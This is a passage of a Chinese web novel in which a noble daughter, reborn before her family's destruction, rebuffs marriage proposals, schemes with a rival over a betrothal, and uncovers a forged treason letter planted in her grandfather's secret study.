《被凌辱惨死后,嫡女她从地狱归来》 第2章 重生 “阿灼。” 这道声音传来,沈清欢只觉得浑身的寒毛都立起来了,猛地睁开眼睛,见大哥正翻身下马,大步流星的走过来。 不是漠北,这里处处绿荫,远处群山披绿,野花随风飘摇,这场景怎么如此熟悉? “想什么呢?”沈清樾坐在沈清欢身边,偏头看她:“大家闺秀的规矩都学狗肚子里去了吗?一个人跑后山来作甚?” “我,我贪玩儿。”沈清欢控制不住泪如泉涌,扑过去抱住了大哥。 沈清樾吓一跳,佯装严厉:“成何体统!起开。” “我不!我不!”沈清欢哽咽着不肯松手,兄长还活着真好。 若非为了自己的及笄礼,兄长此时应该在雁门关,家逢巨变后的每一天让她生不如死,如果人能未卜先知,她宁愿自己死在及笄前,或许就没有后来的事了。 沈清樾索性坐下来,抬头看着远处的景色:“小妹,若让你择婿,可有心仪之人?” “没有。”沈清欢摇头:“我只想守着咱们家。” “傻丫头。”沈清樾微微眯起眸子:“如今有两个人选,一个是九王司徒珩,一个是霍家嫡长子霍云昭。” 沈清欢有些糊涂了,这场景怎么如此熟悉? 猛然记起当初也是在这里,兄长说了一模一样的话。 她怎么忘了?这是安国寺的后山,昨日刚行过及笄礼,太后邀请祖母来安国寺进香,她贪慕麒麟山的风景,偷偷跑到后山来了。 死而复生! 沈清欢抬头看着眼前的兄长,眼圈红红的她笑了。 “你这丫头,都及笄了,少不得要收敛些。”沈清樾蹙眉:“身为沈家嫡女,不止外面要庄重得体,就是在兄长面前也不可无状,先回去吧,祖母着急了。” 沈清欢起身,痛呼一声蹲下来揉着脚踝。 “伤了?”沈清樾蹲下来看沈清欢肿了的脚踝,背转身:“上来,哥背着你回去。” 沈清欢没犹豫,趴在兄长的背上,小心翼翼的把脸贴在他的肩膀上,活着,都活着呢,一切都来得及。 “哥,我不嫁人行不行?我瞧不上司徒珩,更瞧不上霍家什么嫡子。”沈清欢小声说。 沈清樾走得很慢,听到这话摇头:“沈家嫡女择婿,多少人都虎视眈眈的盯着呢,阿灼要知道,即便你是女子也背负着沈家的命运。” “可是他们都不是良配。”沈清欢一想到司徒珩,浑身就止不住恨意升腾到颤抖,天家都该死!大夏该亡! 野心勃勃的司徒珩为何囚禁自己三年,不碰也不杀,到底为何?在此之前二人并无交集,哪来的一往情深? 至于霍云昭,那更是万万不可,昏君为何让大哥弃文从武,不就是怕霍家独大?若是文臣之首和武将统帅联姻,昏君怕是夜不能寐。 身体僵住了,沈清欢知道为何了,昏君赐婚,随后诛杀沈家满门,是计! 沈清樾感受到小妹的不平静,缓缓地吸了口气,小妹还这么小,他怎么舍得让小妹受这样的为难?少不得回去跟祖父和父亲商量,以年幼为借口再拖个两年,两年时间足够自己成长了,到时候必定能护住她。 安国寺里。 沈老夫人急得都坐不住了,若不是太后在跟前,她都恨不得自己去找孙女。 “祖母。” 沈清欢从外面进来,一眼看到了祖母,千百种滋味在心里翻腾也得压下去,走到太后跟前跪下:“臣女贪玩无状,请太后责罚。” 闵太后伸出手拉住沈清欢:“起身吧,谁还没年轻过,这春日景色确实醉人,哀家也想去看看。” “谢太后开恩。”沈清欢借着福礼抽回手,回头到祖母跟前,眼圈红红的看着最疼她的人。 沈老夫人脸色一沉:“少不得回去罚你一通,去换身衣裳,太后不与你计较,你却也把规矩忘得一干二净了。” 沈清欢低头压下心底疯狂的泪意,柔声:“祖母息怒,阿灼去去就来。” 精舍里,沈清欢坐在蒲团上看着对面的兄长,她竟回到了一切都没发生前,一定要把一切都改变,沈家不能再做权利的牺牲品。 “阿灼。”沈清樾被妹妹盯得发毛,问:“你盯着我作甚?” 沈清欢伸出手抓着兄长的衣袖,只牵住一点点在手里,她都心安。 “兄长,沈家危险。” 沈清樾整个人都僵住了,看着小妹坚定的模样,声音柔和了许多:“别怕,有大哥在,天塌下来,大哥给你擎着。” “兄长,我们不能坐以待毙。”沈清欢坚信大哥一定知道些什么,只不过一切来得太快,打了沈家一个措手不及。 她一个人没把握,最可相信的人就是大哥。 沈清樾压低声音:“不可胡说,陪着祖母回京。” “兄长,你觉得我帮不上忙吗?”沈清欢说:“他们哪里是求娶沈家女?明明是看重沈家的地位,想要拉拢,如此龌龊手段令人不齿,沈家也不能中计啊。” 沈清樾笑了:“没有那么严重,你无需担忧。” “若皇上赐婚呢?”沈清欢问。 沈清樾冷声:“做梦!皇上是不会赐婚的,自古就没有一门同文武的,姻亲也不可。” “若是赐婚呢?”沈清欢目光更坚定了,逼视着兄长。 兄长极其聪慧,可没人能未卜先知,沈家人的忠心害了沈家,事实上昏君赐婚了。 沈清樾狐疑的看着小妹,抿了抿唇角:“这些事有祖父和父亲在,阿灼只管安心,就算是赐婚又何妨?祖父自会请皇上收回成命的。” “抗旨不尊,兄长啊,沈家是臣,当今若是想要趁机动沈家,一个君让臣死就能压垮祖父和我们。”沈清欢低声:“我一直认为兄长虽弃文学武,那也一定会成为儒将而不是莽夫,更不会只遵祖训一味效忠,却不能因时而动,人心易变,如今的皇上是英明的君王吗?” 沈清樾起身:“阿灼,你到底知道了什么?” 沈清欢起身站在沈清樾身边:“兄长,我有一次听祖父和父亲说,九王有谋权篡位之心。” 沈清樾迅速捂住了沈清欢的嘴。 沈清欢看到兄长眼底一闪而过的慌张,心里反倒清明了。 司徒珩私下里结交了兄长。 果然是司马昭之心。 转念一想,沈家破局,这是唯一的机会。 拿定主意,沈清欢推开兄长的手:“我陪着祖母回京,兄长回府的时候,记得来我院子里坐坐。” “不可在祖母跟前胡言乱语,我回府就过去。”沈清樾深深地看着小妹,柔声:“阿灼,相信大哥。” 沈清欢笑着点头:“嗯,我信。” 太后的辇架在前。 沈清欢陪着祖母在后面的马车里。 沈老夫人语重心长的说:“我的小阿灼长大了,一家女百家求,祖母怕是留不住喽。” “祖母,昨儿才及笄,今儿就说这话,是不想要阿灼了。”沈清欢靠在沈老夫人的身边,抱着她的手臂撒娇:“阿灼很伤心。” 沈老夫人笑了:“要,怎么能不要呢,若无良配,祖母管他是谁,也休想从我手里把阿灼抢走。” “祖母最疼爱阿灼了。”沈清欢殷勤的给沈老夫人揉腿,笑眯眯的说:“再说了,兄长尚未娶亲,姐妹们都还不曾议亲,总不能越过前头的兄长和姐姐们去,回头让人笑话沈太傅乱了规矩。” 沈老夫人挑眉笑得眉眼都弯了,戳着沈清欢的脑门:“你以为前头那几个庶出,还能成你挡箭牌了?罢了,罢了,左右这事儿不急。” 沈家不急,可虎视狼环,别人只怕急得火上房了! 第3章 想要个平妻之位? 沈府。 沈老夫人下了马车,孙嬷嬷扶着往福寿堂去,沈清欢陪在身边,娘俩小声说着话,丫环婆子都跟在后面。 “这是如今京城里最新的画册子。”沈老夫人从案头取了两本册子给沈清欢。 沈清欢接过来放在一旁:“祖母,我不看这些。” “看看吧,这里面的弯弯绕绕,早晚都要学,阿灼啊,你盛名在外本就于己不利,若心里还没有成算,会露怯。”沈老夫人端起茶盏,浅浅的抿着。 沈清欢扫了眼册子,把女册拿起来,她倒想起来两个人,一个是永安侯嫡长女白向晚,另一个是卫国公府的嫡长女林婉清。 白向晚心仪霍云昭,两家是表亲,年龄相仿,霍云昭归京求娶沈家女,白向晚悬梁自尽,她在被押解往漠北时候听说的。 而林婉清,上一世有数面之缘,身为国公府的贵女,为了司徒珩三赴漠北,都没能如愿,每次林婉清看自己的目光都像是淬了毒一般。 如今若想破局,这两个人说不准有奇效,只是时间仓促,自己确实需要了解一二。 “老夫人,白老夫人求见。”孙嬷嬷捧着拜帖进来。 沈老夫人放下茶盏,看了眼认真看画册的孙女,道:“请到花厅里吧。” 孙嬷嬷得了吩咐退下。 沈老夫人这才说:“阿灼,要见一见白家小姐。” “嗯。”沈清欢笑着过来扶沈老夫人起身:“祖母,白小姐跟霍家指腹为婚过,可是这位白小姐和霍小郎君?” “正是。”沈老夫人意味深长的拍了拍沈清欢的手背。 祖孙二人出门在花厅门前等候,沈老夫人并没有叮嘱自己的孙女,孩子大了,要历练一二。 沈清欢明白祖母的意思,只是上一世并没有白老夫人登门的事,所以这细微的变化是打哪儿来的呢?难道是兄长吗? 心里琢磨着,眼睛看着来路,鹤发童颜的白老夫人在孙嬷嬷的引领下往这边来,在白老夫人身边陪着的少女正是刚在画册里见过的白向晚。 不得不说,小像到底少了灵气儿,只这么远远的看了一眼,沈清欢都觉得对方漂亮的耀目。 待白老夫人一行人近了,沈老夫人笑着迈步迎过去:“怀柔怎么得空出来走动了?上回还是在宫宴里见了一面呢。” 白老夫人屈膝行礼:“老姐姐记得清,若不是昨日身子不爽利,正该来府上讨个彩头呢。” 是了,昨日及笄礼,沈清欢没见到一个贵女。 “小孩子及笄寻常事,这是向晚吧?好标志的模样。”沈老夫人笑着看白向晚。 白向晚上前屈膝行礼:“小女向晚,问老夫人安。” 身姿如柳,仪态万方,月白色锦缎长裙上绣着淡金色云纹,云鬓高挽,簪着一支镶嵌珍珠的玉簪,耳畔垂下两缕细碎的流苏,衬得她肤若凝脂。 眉眼透着几分清冷,眸如秋水,嘴角微微上扬,带着一丝若有似无的笑意,声音也如清泉一般悦耳,真是个美人儿。 沈清欢微微勾起唇角,这样的美人儿,还真少见,霍云昭必定见过,难道不喜? 二人婚约早有,霍家还入宫求皇上赐婚,事出反常必有妖。 “好孩子,来来来,这是我孙女清欢,你们年纪相仿。”沈老夫人笑着说。 沈清欢上前:“给白老夫人请安,外面风凉,请。” 本是寻常客气话,可就在沈清欢低头一刹那,她感觉到了那锋利的目光,让人如芒在背,抬眸对打量自己的白向晚一笑:“白姐姐,好。” 白向晚屈膝:“早就听说沈小姐是少见的美人儿,果真传言不虚,沈小姐的美真如艳阳一般夺目呢。” “请。”沈清欢侧开身,抬起手做了个请的手势。 一个回合,沈老夫人很满意,自己的小阿灼是聪明的,不接招才是最好的反击。 果不其然,白老夫人有些尴尬的笑了笑,说到:“向晚早就仰慕清欢已久,好好相处才是。” “确实,刚好后院宫里赏了几盆兰花,阿灼陪着白小姐去赏花吧。”沈老夫人说着,看了眼自己的孙女。 沈清欢笑着点头:“是,祖母和白老夫人叙旧,我陪着白小姐逛逛。” 沈老夫人和白老夫人入了花厅落座。 沈清欢笑吟吟的看白向晚。 白向晚暗自吸了口气,说道:“沈老夫人竟知是我喜兰花,真受宠若惊。” “白小姐喜欢兰花呀,赶巧了而已,请。”沈清欢对敌意的感知很强,漠北三年的磨砺,造就了她这个本事,白向晚来者不善,那自己就不用客气了。 二人往后花园来,兰花放在花房里有专人照看,到了花房门口,白向晚只看了一眼随行的丫环,那丫环便止住了脚步。 疏影打了帘子,也停在了门外。 花房里不止兰花,百花盛开,姹紫嫣红很喜人。 沈清欢让伺候花房的嬷嬷退下,四下无人,她抬头看着白向晚。 白向晚身量不及沈清欢,被这么看着心里不悦,索性开口:“表兄入京,是为了你。” “哦?”沈清欢挑眉:“白小姐是名门闺秀,应知道名节于我们来说比命还重要,慎言,我认得你表兄是哪一个?” “沈小姐何必遮掩?霍云昭昨夜入京便入宫了。”白向晚有些急切,伸出手抓住沈清欢的衣袖:“你可知我们二人早指腹为婚了?” 沈清欢拂开白向晚的手:“白小姐,我和霍云昭素未谋面,你们指腹为婚的事,也不是什么秘密,若我是你,才不会登沈家门,而是去找该找的人。” “我只能找你。”白向晚挺了挺脊背:“表哥说过,非我不娶,即便娶了你,我们也会完婚。” “但,你是妾。”沈清欢定定的看着白向晚。 白向晚痛苦的倒退两步:“你早就知道是不是!你要嫁给表哥。” “我知道什么?不都是你说的吗?”沈清欢叹了口气:“白小姐,你怎么能以为我是阻碍你和你表哥的人呢?霍家和沈家没什么交情,为何突然求赐婚?甚至不惜背弃你们之间的婚约。” “我,我不知道。”白向晚眼底一抹慌张闪过。 沈清欢走到墨兰跟前,抬起手摘下一朵花放在掌心,慢悠悠的说:“你知道,他们会劝你识大体,顾大局,你祖母亲自出马来沈家,是想求着我祖母应承下来,若你和我同嫁霍家,给你个平妻的位置,而不是让你当个妾,对吧?” 第4章 美人儿无脑 白向晚磨了磨牙:“沈清欢,你若是嫁给表哥,不会有好下场的。” “嗯。”沈清欢点头,确实不会有好下场,别说嫁,赐婚圣旨就是追命符,只不过白向晚看不透罢了。 “那你难道不该想办法?沈太傅位高权重,可以请皇上收回成命。”白向晚急切的说。 沈清欢皱眉:“你想让沈家背上抗旨不尊的罪名?” “这……”白向晚一时不知如何接话,她不是没想过法子,但让沈太傅拒了这门婚事,是最好的法子啊。 沈清欢把兰花放在花盆里:“白小姐,你我之间并无交情,若真同嫁霍家,你必定是妾,不过我可没想过嫁人,也瞧不上你表哥,若你信我,我给你一计,或许能成全你们一对儿鸳侣。” 白向晚不敢相信自己的耳朵,审视着沈清欢:“你帮我?” 沈清欢转过身,笑望着白向晚:“对啊,你不信我也无妨,若是错失良机,我嫁不嫁霍家是自己的事,而你名声可就是没了,指腹为婚都遭背弃,谁不背后说三道四?” “你如何帮我?”白向晚哪里不知其中厉害?尽管表哥和霍家都说一定会以正妻的礼数娶她进门,可沈清欢说的没错,那也是妾。 沈清欢招了招手,白向晚附耳过来。 “依兰花和蛇床子。”沈清欢说。 白向晚身子一颤,后退好几步,错愕的看着沈清欢:“你,你怎么能如此下作。” 沈清欢笑出声了,怪不得白向晚能为了皇上赐婚圣旨就悬梁自尽,如此迂腐还真是死的不亏。 “照做,你身为永安侯府的嫡小姐,霍云昭招惹你在前,就算是为了两家脸面也要迎娶你过门。”沈清欢说。 白向晚脸红的要滴血了,颤着声问:“你不是害我?” “害你作甚?这不是你想要的吗?刚好我不想嫁霍家,霍家军权在手,我沈家是文臣,这利害关系谁不懂?”沈清欢拿了帕子擦掉手上沾染的花粉,迈步往外走:“若你愿意,我给你准备好。” 白向晚没跟上来。 沈清欢走了几步回头看纠结的白向晚,道:“时间不多,这一两日的机会若错过,你一腔痴情都付诸流水了。” 白向晚看沈清欢已经走到门口,急切出声:“你有这两样东西?” “随我来。” 沈清欢带着白向晚往府医的院子去。 刚到门口,药童杜仲就迎了上来:“四小姐,您怎么来了?” “杜仲,我找步师父下棋啊,步师父在吗?”沈清欢问。 杜仲是步秋的关门弟子,虽然才六岁,可步秋十分看重他,随时都带在身边。 “师父刚刚还说要去采药,四小姐请。”杜仲规矩学的好,十分恭敬的在前面带路。 沈清欢迈步进了院子,院子里晒了不少草药,步秋背着药篓从屋子里出来,见沈清欢带着客人过来,赶紧放下了药篓:“四小姐。” “步师父,这位白小姐有些不爽利,帮着瞧瞧。”沈清欢说:“我刚得了墨玉棋,让杜仲取来,棋瘾犯了。” 步秋笑了,给白向晚诊脉。 沈清欢让疏影带着杜仲去自己院子里取棋。 隔壁房间便是药房,她很自然的过去,取依兰花和蛇床子放在碾船里,坐下来碾药。 “四小姐,这位白小姐有些肝郁。”步秋进门看了眼碾船。 沈清欢抬眸:“那您给开个方子吧,药就让白小姐去外面药房准备。” “是。”步秋转身出去了。 沈清欢把碾碎的药粉装在瓷瓶里,特地找了个净瓶,里外都没有沈家标识,装好了药粉出门来,步秋刚好把方子递给白向晚。 杜仲把墨玉棋搬回来的时候,沈清欢笑眯眯的揉了揉他的小脑袋,笑着说:“今儿要待客,明儿来下棋。” 杜仲小脸汗唧唧的,吸了吸鼻子,刚要说话,步秋把他叫过去了。 沈清欢和白向晚离开府医的院子,没走出去多远,杜仲就追了出来:“四小姐,四小姐,师父说香丸好了。” 沈清欢心里感激步秋,他哪里看不出来自己的目的,更因为依兰花的香气太浓郁,送香丸遮掩。 “师父说,梅香丸就制了三丸。”杜仲把小罐子递给沈清欢,小声说:“省着点儿用。” 沈清欢笑出声,随身香包摘下来递过去:“零嘴儿带我一份。” 步秋知自己不喜梅香丸,喜梅香丸的人是长姐,自己重生归来许多事情都明了,但步秋身为府医,比自己更了解府里的人,上一世自己真是没用。 “谢四小姐赏。”杜仲大大方方接过去了。 白向晚打量着沈清欢,沈家从不让沈清欢到外面去赴宴,这些年只闻其名,不见其人,如此娇客竟是这么随和的性子,她觉得奇怪。 当着白向晚的面,沈清欢把装着依兰花香料的瓶子放到梅香丸的罐子里,递给她:“瓷瓶里的香料便是你需要的,用不用在你,梅香丸是我送你的礼。” 白向晚接过去,低头:“此事,我必定守口如瓶。” “若你不守口如瓶也无妨,我敢做,必定能擎得住,但白家能不能擎得住就不好说了。”沈清欢说罢,前头走了。 白向晚跟上来,人也冷静了许多,这才发现从花房里出来,自己的丫环竟都没跟着,后背一阵沁凉,沈府果然如祖父说得那般,深不可测。 白老夫人离开的时候,脸色十分不自然。 反倒是沈清欢和白向晚热络的很,颇有些依依惜别的意味。 送走这二人,沈清欢陪着沈老夫人回到屋子里。 沈老夫人露出愁容,霍家此举,居心叵测,对上自己的乖孙女有些难以启齿啊。 “阿灼,你可有心仪之人?”沈老夫人拿定主意,不管霍家求赐婚的事成与不成,立刻给孙女定下亲事,总归是要先下手为强的。 沈清欢靠在沈老夫人的怀里:“祖母,我还小啊。” “是啊,阿灼还小啊。”沈老夫人眼圈都红了,这事儿不能说,先去找老爷拿主意,想到这里,沈老夫人让沈清欢回去歇着。 沈清欢回到自己的院子里,见兄长已经在了,欢快的跑过去:“兄长,我来迟了。” “不迟,我也刚到。”沈清樾清了清嗓子:“阿灼,兄长说了,在家也不可言行无状。” “我才不呢。”沈清欢挽着沈清樾的手臂往屋子里来:“非要让我学那些大家闺秀的样子,我就哭给你看!” 一声轻笑来得突兀,沈清欢整个人都僵住了,这笑声,她太熟悉了! 第5章 这个也瞧不上? 压下心里那份透骨的厌恶,沈清欢收回挽着兄长的手:“兄长有客在,晚些再请兄长过来吧。” “不是外人,说起来阿灼虽没见过,但一定听说过。”沈清樾抬眸看着司徒珩:“我家小妹少与外人接触,让九王见笑了。” 司徒珩走过来,微微颔首算是一礼:“是本王冒昧登门,沈小姐闺阁深院确实不便,叨扰了。” 沈清欢屈膝还礼,知道兄长想要破局,可就算立刻定亲,也决不能是眼前的司徒珩,祖母也是想要抢在赐婚圣旨下来前给自己定亲,可他们并不知道,这赐婚圣旨下不来,就算下来了,昏君也要收回去的。 “疏影,小亭里待客。”沈清欢吩咐道。 她可不允许司徒珩进自己的闺房半步,哪怕是花厅也不行! 沈清樾有点儿尴尬,但小妹此举虽略欠缺恭敬,可符合礼数,外男能入这个院子已是不易了。 司徒珩客随主便,沈清樾陪着坐在凉亭里品茶,此时正四月芳菲天,小花圃里的花开的热闹。 沈清欢坐在沈清樾身边,看都懒得看是司徒珩一眼,更因为有这个人在,沉默寡言,话都不想说。 “阿灼,听说你得了一套墨玉棋,刚好九王爷也是个棋痴,可取出来观摩一番。”沈清樾努力制造机会。 沈清欢低声:“兄长,我刚送给步师父了。” 沈清樾尴尬的笑了。 司徒珩抬起手压了压额角,他倒不记得什么时候得罪了这位沈小姐,看样子是极厌恶自己的,若非沈清樾求到自己的头上,他会走这一遭? “你不是还有一副暖玉棋吗?”沈清樾有些着急。 沈清欢抬眸看着兄长:“使虎驱狼,之后呢?” “噗。”司徒珩这一口茶汤都喷出来了,拿了帕子压住嘴角,抬头看沈清欢,突然觉得挺有意思:“沈小姐,本王觉得你还是需要避讳一下。” 沈清欢微微蹙眉:“你这么一个大活人坐在我面前,我倒是想要避讳了,可家兄着急,急则无智,瞎耽误工夫的事,能不做就不做。” “沈兄,看来本王得走了。”司徒珩说着便站起来了,他长这么大就没受过这样的气,逐客令都不斟酌遮掩一下,他倒是好奇了,沈家如何破局。 沈清樾赶紧起身:“王爷勿怪,家妹从小娇惯着不懂礼数,更不知道当下情形。” “你倒是护着她,本王觉得沈小姐成竹在胸,告辞。”司徒珩迈步就走。 沈清欢藏在袖子里的手紧紧地握成拳头,要用很大的毅力才不会扑上去撕咬他,仇人见面分外眼红。 沈清樾送司徒珩离开,没走几步就听到沈清欢吩咐疏影:“这套茶具扔了吧。” 司徒珩额角青筋都凸起了,若非计较起来太丢人,他真相回去问问沈清欢,谁给她的胆子! 前脚司徒珩和沈清樾才走,沈清瑶就到了。 沈清欢刚到屋子里坐下,看沈清瑶那眼底的急切之情,心里冷哼。 “四妹,清越呢?”沈清瑶确认院子里没人,问。 沈清欢端起茶盏慢悠悠的喝着,茶是好茶,不过比起来大伯院子里用的云雾茶到底差了不少,人心啊,果然两个眼儿,若再加上个白眼狼的性子,那真是最该死的家贼。 沈清瑶是有些着急:“四妹,怎么不应人?” “走了啊,你不也看到了,我院子里没外人。” 沈清欢放下茶盏,抬头看沈清瑶,沈家的女儿容貌都不错,就算没有倾城之姿,那也算得上佳丽。 只可惜,白向晚的无脑还只是对心上人,而眼前这位何止无脑?蠢且坏的狗东西,也就沈家庇护着,才人模人样的坐在这里吧。 沈清瑶被看得浑身不自在,有心起来就走。 “长姐,沈家这棵大树底下好乘凉,庶出更需要这份庇护,你别动不该动的心思,免得成了笑话,丢人现眼。”沈清欢说。 沈清瑶脸色铁青:“四妹,这话从何说起?” “从你动了要跟司徒珩有点儿什么的心思说起。”沈清欢上下打量着沈清瑶:“你凭什么觉得自己行?” 沈清瑶是觉得自己小瞧了眼前这位,还把她当成孩子,谁成想竟教训到自己头上了,拿了帕子在手里捋了捋:“四妹,清越带着司徒珩头一次来你的院子,这就护上了?再说,你胡言乱语些什么?回头我去找祖母做主,糟践我的名声可是你不对了。” “糟践你的名声?”沈清欢靠在椅背上:“我这是顾忌沈家名声,对你都客气三分了,若这话都受不得,我还有更难听的。” 沈清瑶拂袖而去,真是气得心肝肺都要炸了,可她占长不占嫡,闹腾起来只能吃亏,自己比不得沈清欢有那么多人撑腰,婚事若掌家夫人不点头,也难成。 “小姐,大小姐的事有老夫人和夫人做主,您无需担心。”郑嬷嬷贴心的给沈清欢续茶,柔声劝慰。 沈清欢抬起手压了压额角,当然知道轮不到自己做主,可沈清瑶喜欢司徒珩本就不该,大房掌管沈家买卖,日子过的不差,可他们不知足。 再者,沈家灭门的主要证据是祖父书房里的一封信,那封信是西凉国师亲笔所写,卖国通敌的罪名是压垮沈家的最后一根稻草,而这封信是沈清瑶藏在祖父书房的暗格里的。 这些话不能说出来,抓贼拿脏。 “嬷嬷,准备酒酿圆子,我要给祖父送去。”沈清欢说。 郑嬷嬷不疑有他,去小厨房准备。 沈清欢起身到软塌上闭目养神,看着是歇着,实则是在回想关乎沈家的一切蛛丝马迹,若说沈家内部,大房是唯一的败笔,祖父有三子,庶长子沈景川,嫡出有父亲和叔叔沈景行。 沈景川娶妻邹氏,母族从商,因十分善于经营,沈家这些年确实借力不少,邹氏进门五年生了三胎,可惜前头两胎都没能活下来,第三胎沈清瑶,随后又生了两个女儿,伤了身子再不能生育后,沈景川抬了妾室梁氏,得了一子沈清舟,比自己小半个月。 三叔是祖父晚年得子,还不曾娶亲,醉心医道极少归家,也是因为自己及笄,三叔才回来的。 “都是因为我啊。”沈清欢叹了口气,喃喃自语。 沈清樾是进门听到这话,颇有些无奈:“那你还不领情,怎么着?这个也瞧不上?” 第6章 人无道义,禽兽不如 何止瞧不上?若不是眼下沈家安危迫在眉睫,她头一个就要司徒珩的狗命,司徒珩虽为九王,可身份存疑。 当今皇上三岁就登基,并非先帝驾崩,而是先帝沉迷女色,不愿意处理朝中事务,宁愿在行宫里寻欢作乐,而这个九王便是先帝留下来的遗腹子,先帝驾崩,行宫里活着走出来的唯有他的母亲,没有任何位份的宫女,怀着九个月的身孕。 他能活下来,是祖父在皇上面前求情,让皇上博得一个贤名,宫女诞下司徒珩后便自尽了,太后把他包养到身边养到了十八岁,四年前皇上册封安王,因行九,私下里的人都尊一声九王。 按理说,沈家于他有救命之恩,可他却冷眼看着沈家满门被屠尽,还要假惺惺的以护着自己的目的,让自己充了漠北官妓坊, 小人可恨,伪君子更可恨。 沈清樾见妹妹那眼神跟淬了毒一般,出声:“阿灼。” “兄长,我让小厨房做了酒酿圆子,咱们给祖父送去如何?”沈清欢抬眸时候,已是天真模样。 沈清樾抿了抿嘴角:“祖母此时应该也在祖父那边。” “都是为了我的婚事,我在场才行。”沈清欢说:“兄长放心,我不是小孩子了。” 确实不是小孩子了,可才及笄能多大?沈家如今面对的局面十分艰难,但沈清樾舍不得小妹背负太多。 “兄长。”沈清欢就那么望着沈清樾。 沈清樾起身:“走吧,也免得祖母还要费心斟酌怎么说。” 兄妹二人往书房来,刚到门外就听到祖父染了怒意的声音:“沈景谦,你慎言!” 沈清欢拉住兄长,她知道父亲看出端倪,在提醒祖父,可祖父太相信他和当今圣上的师徒情了。 “兄长,去母亲那边取护心丹。”沈清欢小声说。 沈清樾狐疑的看着妹妹:“用得着吗?” “嗯。”沈清欢知道,若不能说服祖父,沈家就无法破局。 沈清樾担心祖父身体,没有迟疑去取护心丹,沈清欢到门前轻轻敲门,柔声:“祖父,给您送酒酿圆子来啦。” 沈良辅听到孙女的声音,眼神凌厉的看跪在面前的儿子:“还不起来?” 沈景谦起身立在一旁,沈良辅才说:“阿灼,进来吧。” 沈清欢进门给祖父请安,屋子里不止有父亲,祖母也在,走到祖母跟前:“祖母,您为阿灼操心了。” 沈老夫人拍了拍沈清欢的手背:“好孩子,不要多心。” “嗯。”沈清欢把食盒放在桌子上,取出来小碗给每个人添好酒酿圆子,送到父亲手里的时候,抬头看父亲眼睛红红的,柔声:“父亲,事急从缓,事缓则圆。” “你瞅瞅,阿灼这话你得好好琢磨琢磨。”沈良辅是动了真怒,君不疑臣,臣不疑君,那才是为臣之道,沈家这些年兢兢业业为大夏国操劳,霍家想要算计沈家,皇上会由着? 沈景谦垂首:“父亲教训的是。” 沈清欢过来给祖父敲肩,趁这个机会看屋子里陈列,书房里的密室能进去的人不多,父亲和自己算例外,因祖父最信任父亲,最疼爱自己,沈清瑶是怎么进去密室的?按照时间算,那封陷害沈家通敌买国的信已经在密室里了。 “阿灼啊,霍家回京意图求圣上赐婚,霍家那小子想要迎娶你。”沈良辅说。 沈清欢笑了:“祖父,您觉得这门婚事可行?” “自是不行!你兄长入行伍,那是得了圣上允诺,为国分忧的安排,可文臣武将自古就不能联姻,文武不同门。”沈良辅说:“这些本是朝堂上的事,阿灼能听得懂多少算多少。” “霍家难道不知文武不联姻吗?”沈清欢问。 沈良辅眉头蹙起:“沈家简在帝心多年,别人虎视眈眈谋算沈家,也不难理解。” “祖父,被人盯着总是不够舒坦,我才及笄,才不要嫁人呢。”沈清欢说:“再说了,霍家这么大张旗鼓的入宫,把算计沈家的心思都摆在明面上了,保不齐有人授意,试图不让沈家好过,更可能是想要扫除政敌。” 沈良辅愣住了,偏头看沈清欢:“谁跟你说了什么?” “没有啊,只是我刚见了白小姐,白小姐说她和霍云昭有婚约在先,如今入宫请旨,对白小姐的说辞是还会明媒正娶她呢。”沈清欢撇嘴儿:“还世家子弟,都不如贩夫走卒更有道义,小人行径。” 沈良辅赞同的点头,人无道义,禽兽不如。 沈清欢搬来小绣墩坐在沈良辅身边:“您总跟阿灼说,事出反常必有妖,这件事啊,阿灼觉得他们要害我呢。” “那是不能!”沈良辅长呼一口气:“我沈家连自己的孩子都护不住了?” 沈老夫人趁机说:“老爷,那这婚事还是要早点定下来,你看有合适的人选吗?” 沈良辅本意是觉得没必要如此提防的,但孙女都说事出反常,怎么也不能等到事临头才想对策。 “阿灼,你可有心仪的人?”沈良辅问。 沈清欢赶紧摇头:“没有,祖父,孙女的事听您的。” 沈良辅知道这孩子是犯书瘾了,取了玉佩递给她:“那去看书吧,最近祖父又得了好东西。” “哎,您最疼阿灼了。”沈清欢接了玉佩到小厅墙角,挪开花盆把玉佩镶嵌进去,墙面出现了一个门,提着裙摆走进去,悠长的台阶逐级往下,十几级台阶眼前便豁然开朗。 一桌一椅一塌,榻上摆着小几,小几上放着棋盘。 里面的长明灯很亮,她开蒙后就京城坐在小榻上看书,一看就是一天,祖父忙完手里的事会抱着她回去。 这里三面墙壁都是到顶的书架,各种书籍都有,多是孤品。 密室若无令牌无人能进来,所以沈清瑶和大房处心积虑不少年头了。 东西能放在哪里? 沈清欢慢悠悠的走了一圈,目光落在了祖父桌案旁边的书卷缸,里面多是祖父收藏的大家真迹,但这些字画跟藏书比起来,并没有多珍贵,所以极少有人会动这里。 果然,沈清欢把字画都取出来后,一封信就在缸底! 取出书信看上面火漆已经拆开过了,放进挎包里,从祖父的桌案上找到了写了一半的治国策论,小心翼翼的放进去后,转身往外走。 外面,沈清樾取来护心丹却不见小妹踪影,正疑惑的时候,见小妹从小厅里走出来,脸色苍白,步履匆匆。 “怎么了?”沈清樾迎上去。 沈清欢摇头,走到沈良辅跟前,双手递过去书信:“祖父,您过目。” 沈良辅接过来书信,狐疑的打开,没看几行脸色已经青紫,一口血喷了出来…… 第7章 如今,该换个执子人了 沈清欢眼疾手快,护心丹立刻送到了沈良辅的嘴里,柔声:“祖父,发现得早,可从长计议,您得为一家人拿主意。” 沈良辅闭着眼睛靠在椅子上,心里百味杂陈。 沈景谦和沈清樾都过来围着沈良辅,沈老夫人拉着沈清欢到一边:“怎么了?” “阿灼在祖父的书画缸里发现了一封信,是西凉国师写来的。”沈清欢说。 沈老夫人身体一晃也险些摔倒,握着沈清欢的手更用了力气:“阿灼,你知道什么?” “祖母,阿灼陪着您去进香的时候,在后山睡着了,梦到祖父的书房起了大火,大火就是从密室着起来的,把咱们沈家都烧光了。”沈清欢说:“我想进去把长明灯都灭掉,不小心碰翻了书画缸。” 沈老夫人低声:“神佛保佑,祖上有德啊。” 沈清樾听到小妹的话,看了一眼小妹的脸色,他不信,小妹提前让自己准备护心丹,显然知道会是这样的结果,跟祖母撒谎遮掩也就罢了,回头自己一定要问个清楚。 沈良辅缓上来这口气,沈景谦扶着父亲到卧榻上休息。 “阿灼啊。”沈良辅出声。 沈清欢立刻过来:“祖父,阿灼在。” 沈良辅看了眼沈清欢,让所有人都退下,这才问:“你跟祖父不准撒谎,说说,到底心里怎么想的?” 